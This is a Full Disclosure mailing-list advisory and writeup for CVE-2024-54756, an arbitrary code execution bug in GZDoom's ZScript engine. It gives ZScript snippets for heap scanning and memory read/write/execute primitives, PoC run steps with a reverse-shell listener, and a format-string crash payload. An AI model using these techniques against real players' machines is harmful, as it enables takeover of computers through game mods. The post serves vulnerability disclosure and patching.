[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] [CVE-2024-54756] GZDoom <= 4.13.1 Arbitrary Code Execution via Malicious ZScript



In GZDoom 4.13.1 and below, there is a vulnerability involving array sizes in 
ZScript, the game engine's primary scripting language. It is possible to 
dynamically allocate an array of 1073741823 dwords, permitting access to the 
rest of the heap from the start of the array and causing a second array 
declared in the same function to overlap with this huge array. The result is an 
exploit chain that allows arbitrary code execution through a malicious ZScript 
file, embedded in a WAD or PK3 file that can be distributed among the Doom 
community as a mod, mapset, etc.

MITRE has reserved CVE-2024-54756 for this.

This vulnerability affects GZDoom 4.13.1 and earlier, and most likely LZDoom is 
also affected. The devs have been notified privately, and it should be patched 
in 4.13.2 onward. This vulnerability was announced in the ZDoom Discord 
chatroom, but to the best of my knowledge nowhere else publicly.

I've already posted a writeup and proof of concept for Linux on GitHub:
https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

Nevertheless, in the interest of preservation through duplication, the writeup 
in Markdown format (README.md) is attached to this email, and also attached are 
the PoC's zscript.zs and MAPINFO files.
To summarize the vulnerability and what it can lead to:
* In a ZScript function, one can allocate an array of 1073741823 or more 32-bit 
integers. Normally the contents of an array should be initialized, but for some 
reason they are not for arrays this large. Every element of this array, from 
the start of the array to the end of the heap, can be read and written.
* If a second array of reasonable size is allocated after the unreasonably huge 
array, both arrays will overlap. Particularly useful if the second array 
contains object pointers, as those cannot be arbitrarily set; by being able to 
modify those pointers directly, that gives the attacker an arbitrary read/write 
primitive to anywhere in addressable memory.
* An arbitrary execute primitive is possible by including a function pointer in 
the object pointed to in the second overlapping array and modifying it directly.
* ZScript can sometimes be JIT-compiled for performance improvements, and 
Asmjit is used to accomplish this. Unfortunately, it's misconfigured in a way 
that causes three RWX memory maps to be present, meaning an attacker can just 
write shellcode to one of them and execute it if they can find one such page.
* ZScript code is presumed to be JIT-compiled deterministically and in-order. 
Therefore, an attacker can defeat ASLR and locate any of the RWX pages by 
identifying the offsets of ZScript functions within any such pages and scanning 
the heap for pointers having such offsets (plus filtering for plausible 
addresses above, say, 0x600000000000). The longer the list of such pointers, 
the more likely an RWX page will be found.
The exploit is thus:
* Create an array of 1073741823 32-bit integers.
* Find an RWX region's address by scanning the heap from the huge array's 
start, and comparing each 64-bit integer's non-random bits with those in the 
known ZScript function offset list, while also rejecting addresses under e.g. 
0x600000000000.
* Allocate a second array of two object pointers: one being the arbitrary 
read/write primitive, the second being the arbitrary execute.
* Prepare the arbitrary execute primitive to point to where the shellcode will 
be.
* Write the shellcode and any necessary data to the RWX region.
* Execute the shellcode.
The code is all executed in a static event handler called when the engine 
starts, before the main menu is reached.

A few other things I should note follow.

I unfortunately didn't study GZDoom's source code enough to fully understand 
why this huge array vulnerability happens; however, based on some informal 
testing, I have strong reason to believe it's due to an integer overflow, 
specifically an unsigned integer being treated as signed. I support this theory 
with the following:
* 1073741823 * 4 (the size of a 32-bit int) = 4294967292 = 0xfffffffc = -4 when 
considered signed
* Arrays are supposed to be initialized to all-zeros.
* No crash occurs when the array contains 1073741823 integers, but if the array 
has 536870912 ints, a crash occurs - namely a segmentation fault that occurs 
_before_ the start of the heap.
This is pure speculation, though. I should have spent the time to properly 
understand how this vulnerability came about so that I could suggest a proper 
fix, but I got too excited finding a way to chain the bug into an arbitrary 
code execution that I didn't. I'll do it better the next time I find and 
officially report a vulnerability.

The PoC I created isn't very reliable. It doesn't have many ZScript function 
offsets and I filter out pointers under 0x560000000000, not under 
0x600000000000 as I suggest above. One may have to correct that and run the 
exploit several times for it to work. Still, given that it does work with ASLR 
enabled at least sometimes, I'd say it ultimately still proves the concept.

There are two other possible vulnerabilities found: a format string 
vulnerability in common/fonts/font.cpp/FFont::FFont(), and a strcpy() on a 
size-unchecked string in gamedata/statistics.cpp/LevelStatEntry(). Low-hanging 
fruit, but ultimately I couldn't find a way to exploit them into something 
serious on a modern machine, and for that reason I didn't think to request CVE 
IDs for them. The strcpy() bug has also been fixed in 4.13.2, but the format 
string has not been; if it's any consolation, the format string vulnerability 
seems hard to exploit given the function is a less feature-capable 
implementation of snprintf().

This is the first time I've found, disclosed, and requested a CVE ID for a 
vulnerability. If I made mistakes, sorry.

- Chainmanner

Attachment: MAPINFO
Description: Binary data

# GZDoom <= 4.13.1 Arbitary Code Execution via Malicious ZScript
A proof of concept for an arbitrary code execution vulnerability I found in 
GZDoom's (https://github.com/zdoom/gzdoom) ZScript functionality. An attacker 
can share a PK3 file containing a malicious ZScript source file and gain access 
to the victim's PC.

Big thank-you to Rachael and Agent Ash on the GZDoom dev team for their prompt 
responses, and to them and the other GZDoom devs for swiftly addressing this!

## Affected versions
Confirmed to work for 4.13.0 and 4.13.1, and this probably works for earlier 
versions too. **Be wary of anybody telling you to downgrade to version 4.13.1 
or below to be able to play their WAD.**

This PoC works only on Linux, but the vulnerability likely exists on Windows 
too. Not tested on ZDoom or LZDoom, but the vulnerability may exist there as 
well.

The vulnerability has been disclosed to the devs before this PoC's publication 
and it should no longer be present for version 4.13.2. To the best of my 
knowledge, this version does not include any practical breaking changes.

## Disclaimer
This PoC is made and released for educational purposes, so that game/scripting 
engine developers may understand how vulnerabilities can arise and so that 
players may understand what a malicious game mod can look like. I am not 
responsible or liable for any misuse of this PoC. Please do not use this to 
compromise your fellow gamers' PCs; it is illegal (you should not need me to 
tell you that), and it is especially a dirtbag move to take over somebody's 
computer through a video game.

## Using the PoC
To use this PoC, download this repo and create a PK3 file (which is really a 
zip file with the .pk3 extension) containing `zscript.zs` and `MAPINFO`:
```
git clone 
https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
```
The default payload is to run a reverse shell to localhost on port 1337. Start 
the listener:
```
nc -nvlp 1337
```
Run the PoC like so:
```
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3
```
If it worked, you should now have a reverse shell to yourself.

This PoC is for Linux only. It might not work on the first try; just try it 
again until it does.

# Explanation
*NOTE: This is my first exploit writeup and I'm still working on my skill to do 
low-level writeups. Also, I did much of my debugging with GDB, and 
unfortunately I didn't have the good sense to save some memory dumps to 
illustrate my explanation better. Sorry! My next writeup will be better, I 
promise.*

GZDoom is a Doom source port designed for performance and extensibility. Thanks 
to its powerful features, many awesome WADs, mods, and even commercial total 
conversions have been made. Unfortunately, where there is complexity, there is 
the opportunity for vulnerabilities, and in this case there were two present in 
the ZScript scripting engine that allowed a full exploit chain to arise.

This attack defeats ASLR and sidesteps the need to defeat stack canaries. I 
don't think Clang's CFI or shadow stacks would have helped here.

## Vulnerabilities
The first and most important vulnerability was in how huge arrays were handled. 
If you allocate a small-enough array, the allocated region of memory tends to 
be filled with zeroes and is properly separated from other objects; no 
information can be gained from reading uninitialized memory, and no objects 
overlap with the array. However, if you allocate a huge array - say, 1073741823 
32-bit words or more - you will be able to **read and write up to 4 GiB of 
potentially uninitialized memory from the array's starting point, allowing the 
attacker to directly modify other objects and defeat ASLR by finding addresses 
having known offsets**. Additionally, **any other arrays created past this 
point will overlap with the huge one**.

The second vulnerability was in memory map permissions. For faster performance, 
ZScript code is JIT-compiled to x86 or x86-64 bytecode whenever possible. In 
order to have this, the code must be written to a region of memory, and that 
region of memory must be executed. However, the W^X rule states that a region 
should be either writable or executable, but not both. If both are applied at 
the same time (instead of making the region writable, writing the code, and 
then making the region executable and unwritable), then an attacker with an 
arbitrary write primitive will be able to escalate it to an arbitrary code 
execution; they can write shellcode and jump to it by e.g. modifying the return 
address on the stack (assuming the attacker doesn't have an arbitrary execute 
primitive). If you look at the memory mappings for GZDoom when it's running, 
you can see there are several RWX regions:
```
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
```
So **if arbitrary write and arbitrary execute primitives are available, and the 
attacker knows where any RWX region is present, they can write arbitrary 
shellcode and execute it**. Making these regions RW- when writing the 
JIT-compiled code and then R-X when ready to run would stop *this* PoC, but it 
would not stop an attacker from gaining code execution by, for example, 
modifying data on the stack (ROP) or heap.

## Gadgets
Additionally, there is a useful gadget. Remember how when allocating a huge 
array, any other arrays created after it will overlap? That includes arrays of 
object pointers. Much like C++ objects, ZScript objects can contain variables 
and function pointers. Suppose we have this object:
```
class WeirdObject
{
        uint one;
        uint two;
        uint three;
        uint four;
        Function<clearscope void()> funcptr;
}
```
If we create an array containing a pointer to a WeirdObject instance, then 
**the attacker can change the pointer to wherever we want using the huge array 
and change the pointed data by accessing the object's fields, giving us an 
arbitrary read/write primitive going beyond the heap**. Pointers in ZScript are 
checked to ensure they're not null, but not to ensure that they're sane.

The presence of a function pointer also gives us **an arbitrary execute 
primitive**; that, however, is a little less straightforward, requiring the 
creation of a fake VMFunction to satify the virtual machine. As soon as a call 
to a ZScript function is introduced in the exploit code, that code is no longer 
JIT-compiled. Still works, but it becomes a bit more of a headache to debug and 
exploit. There might be a better way to do this part, but I didn't study the 
GZDoom internals well enough to know of it.

One thing to note: WeirdObject has inherited member variables, so the first 
member starts at offset 0x28.

## Exploit
So now, we have the following tools:
- Arbitrary read/write for a huge region of the heap
- Arbitrary read/write/execute going beyond the heap
- RWX regions

How do we chain them to make an exploit?

First, because ASLR's enabled, we need to identify where an RWX region is 
present. Any will do. The part of the heap available to the huge array contains 
addresses pointing to functions within an RWX region, but it also has addresses 
pointing to other regions; how do we discriminate? Recall that on Linux, ASLR 
has 28 bits of entropy (sometimes less!), meaning that although bits of the 
mask 0x7fffffe00000 in an address will be random, bits 0x0000001fffff will be 
static. So, with ASLR disabled, let's assume we have the following RWX regions:
```
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
```
Then we can use the following ZScript code to print pointers to JIT-compiled 
ZScript functions within the RWX regions:
```
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;

for (i = 0; i < (1073741823 / 2); i += 2)
{
        u32RWX_L = u32pBFA9000[i];
        u32RWX_H = u32pBFA9000[i+1];

        if ((u32RWX_H & 0xffff8000) == 0)
        {
                if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
                {
                        Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
                }
                if ((u32RWX_L & 0xffe00000) == 0xf3800000)
                {
                        Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
                }
                if ((u32RWX_L & 0xffe00000) == 0xf4200000)
                {
                        Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
                }
        }
}
```
Get the offsets by ANDing the printed results with 0x1fffff, and you can use 
these offsets to identify pointers to RWX regions. The more offsets you know, 
the greater the chances of the exploit succeeding.

Next, we need to prepare the arbitrary execute primitive. We do that by 
modifying the function pointer in a gadget object, like the WeirdObject 
declared above, using an arbitrary write primitive. After u32pBFA9000 is 
declared, start by creating the arbitrary write and execute gadget objects:
```
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject");        // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject");        // Arbitrary execute object.
```
ppGadgetObjects overlaps with u32pBFA9000 right at the beginning, and remember 
that the WeirdObject-specific members start at offset 0x28. The arbitrary write 
primitive looks like this, where `TARGET_ADDR` is the target write address, 
`QWORD` is the 64-bit integer to write, and `_H/_L` indicate the high and low 
32 bits of a 64-bit int respectively:
```
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
```
I will admit that I don't know enough about how ZScript's function pointers 
work and this part I still find hard to explain, but I'll try my best to 
explain anyway. Sorry if I confuse you further.
- At offset 0x38 of the execute gadget WeirdObject's function pointer 
destination is a pointer to a class/struct I could not identify.
- At offset 0x8 of this unidentified class/struct is a pointer to a VMFunction.
- At offset 0xc of the VMFunction is the 32-bit VarFlags member. Setting it to 
zero makes a shorter path to calling the shellcode.
- At offset 0x58 of the VMFunction is the actual pointer to the function to be 
called.

I really should write a diagram for this, but right now I don't feel like doing 
ASCII art. See the exploit source code to see what the above looks like.
Once the above is sorted out, we then can modify the function pointer in the 
gadget object. When we call it, it will execute our shellcode once it's written.

The last step is writing the shellcode itself. Since this PoC calls a shell 
command, some strings ("/bin/bash", "-c", the command string) need to be 
written as well. This part could be easy or hard, depending on just what you 
intend to execute.

When all that is done, you call the function pointed to by the execute gadget 
WeirdObject, and you now have executed your own shellcode.

# Notes on additional potential vulnerabilities
I did find some additional vulnerabilities, but could not find a way to exploit 
them and give a full ACE chain. The `strcpy()` stack overflow vulnerability has 
been fixed in version 4.13.2. The `mysnprintf()` format string vulnerability 
has not been fixed so far, but GL HF if you're gonna try to exploit it.

## Format string vulnerability
There is a format string vulnerability (two, actually) in the `FFont` 
constructor in `common/fonts/font.cpp`:
```
[...]
if (nametemplate != nullptr)
{
        if (!iwadonly)
        {
                for (i = 0; i < lcount; i++)
                {
                        int position = lfirst + i;
                        mysnprintf(buffer, countof(buffer), nametemplate, i + 
start);

                        lump = TexMan.CheckForTexture(buffer, 
ETextureType::MiscPatch);
                        [...]
                }
        }
        else
        {
                FGameTexture *texs[256] = {};
                if (lcount > 256 - start) lcount = 256 - start;
                for (i = 0; i < lcount; i++)
                {
                        TArray<FTextureID> array;
                        mysnprintf(buffer, countof(buffer), nametemplate, i + 
start);

                        TexMan.ListTextures(buffer, array, true);
                        [...]
                }
                [...]
        }
        [...]
}
[...]
```
The `TEMPLATE` argument from an entry in the `FONTDEFS` lump is passed directly 
to `mysnprintf()`. This means one can have an entry like this that tries to 
load a font based on stack variables:
```
EVILFONT
{
        TEMPLATE LOL%hhx
}

```
Or an entry that writes the number of characters written somewhere on the 
stack, causing a crash:
```
EVILFONT
{
        TEMPLATE 
----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}

```
The fact that the output is limited does not matter; the percent symbols will 
get parsed no matter the maximum length.

`mysnprintf()` is a custom, public domain implementation of `snprintf()` that 
is designed for performance at the cost of flexibility. Exploiting it is much 
harder than libc's standard implementation. For example, using %n, you can only 
write 32-bit words and you cannot write specific stack elements using 
`%<num>$n`.

# strcpy() stack smashing
There is also a risky call to `strcpy()` in `LevelStatEntry()` in 
`gamedata/statistics.cpp` whose source may be longer than the destination. The 
function:
```
static void LevelStatEntry(FSessionStatistics *es, const char *level, const 
char *text, int playtime)
{
        FLevelStatistics s;
        time_t clock;
        struct tm *lt;

        time (&clock);
        lt = localtime (&clock);

        strcpy(s.name, level);
        strcpy(s.info, text);
        s.timeneeded=playtime;
        es->levelstats.Push(s);
}
```
The `FLevelStatistics` struct, allocated on the stack, looks like so:
```
struct FLevelStatistics
{
        char info[60];
        short skill;
        short playerclass;
        char name[24];
        int timeneeded;
};
```
And `LevelStatEntry()` is called like so, using `LevelData.Levelname` - which 
is of type `std::string` - as an argument:
```
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
        FString lsection = LevelData[i].Levelname;
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        lsection.ToUpper();
        infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
                 LevelData[i].killcount, LevelData[i].totalkills, 
LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, 
LevelData[i].totalsecrets);

        LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), 
LevelData[i].leveltime);
                           ^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
```
There's a whole chain of other calls needed to get to this point, starting from 
`FLevelLocals::ChangeLevel()` in `g_level.cpp`, but I won't bother showing it 
here. I will say that along the execution chain to get here, there are no 
checks nor limits against the length of `LevelData.Levelname`.

On a modern system, this shouldn't be exploitable; stack canaries will stop any 
stack smashing attempts through this dead in their tracks, and ASLR will 
prevent the user from knowing where to return. Also, you only get one gadget: 
overwriting the return address when exiting LevelStatEntry(). On older systems, 
however, these defenses may not be available, and perhaps JIT-compiled ZScript 
code may provide gadgets for exploitation.

Attachment: zscript.zs
Description: Binary data

Attachment: signature.asc
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/